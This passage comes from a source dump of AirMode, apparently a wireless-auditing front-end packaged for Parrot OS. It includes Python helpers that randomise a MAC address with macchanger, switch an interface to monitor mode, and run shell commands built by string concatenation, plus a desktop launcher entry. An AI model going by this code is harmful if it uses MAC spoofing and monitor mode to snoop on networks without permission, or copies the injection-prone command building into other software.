84 | #
85 | # Example: Automatically prepare an interface
86 | #
87 | # 1) check if interface is present
88 | # 2) change the mac address to a random one
89 | # 3) enable monitor mode
90 | # 4) select the interface
91 | #
92 | # intf = 'wlan0'
93 | # if wifi_interface_is_present(intf):
94 | # set_random_mac(intf)
95 | # set_wifi_mode(intf, 'monitor')
96 | # select_interface = intf
97 |
98 |
99 | return 0
100 |
101 | #
102 | # End function (called when the program ends)
103 | #
104 | def config_end():
105 |
106 | #
107 | # Example: disable an interface
108 | #
109 | # intf = 'wlan0'
110 | # if wifi_interface_is_present(intf):
111 | # exec_command("ifconfig " + intf + " down")
112 | #
113 |
114 | return 0
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 | #
123 | # == CONFIGURATION ENDS HERE ==
124 | #
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 | #
133 | # UTILITIES
134 | # (Than you don't need to modify) ;)
135 | #
136 |
137 | #
138 | # Execute a command
139 | #
140 | def exec_command(cmd):
141 | return subprocess.getstatusoutput(cmd)[0]
142 |
143 | #
144 | # Check if a wireless interface is present
145 | #
146 | def wifi_interface_is_present(interface):
147 |
148 | if exec_command('iwconfig 2>&1 | grep 802.11 | grep' + interface):
149 | return True
150 |
151 | return False
152 |
153 | #
154 | # Set random MAC address
155 | #
156 | def set_random_mac(interface):
157 |
158 | if exec_command('ifconfig ' + interface + ' down') != 0:
159 | return
160 | if exec_command('macchanger --random ' + interface) != 0:
161 | return
162 | if exec_command('ifconfig ' + interface + ' up') !=0:
163 | return
164 |
165 | #
166 | # Set wireless interface mode
167 | #
168 | def set_wifi_mode(interface, mode):
169 | if exec_command('ifconfig ' + interface + ' down') != 0:
170 | return
171 | if exec_command('iwconfig ' + interface + ' mode ' + mode) != 0:
172 | return
173 | if exec_command('ifconfig ' + interface + ' up') != 0:
174 | return
175 |
176 |
--------------------------------------------------------------------------------
/parrot-airmode.desktop:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env xdg-open
2 | [Desktop Entry]
3 | Name=AirMode
4 | Encoding=UTF-8
5 | Exec=gksu airmode
6 | Icon=parrot-menu.png
7 | StartupNotify=false
8 | Terminal=false
9 | Type=Application
10 | Categories=05-01-wireless-tools;top10;
11 | X-Parrot-Package=airmode
12 |
--------------------------------------------------------------------------------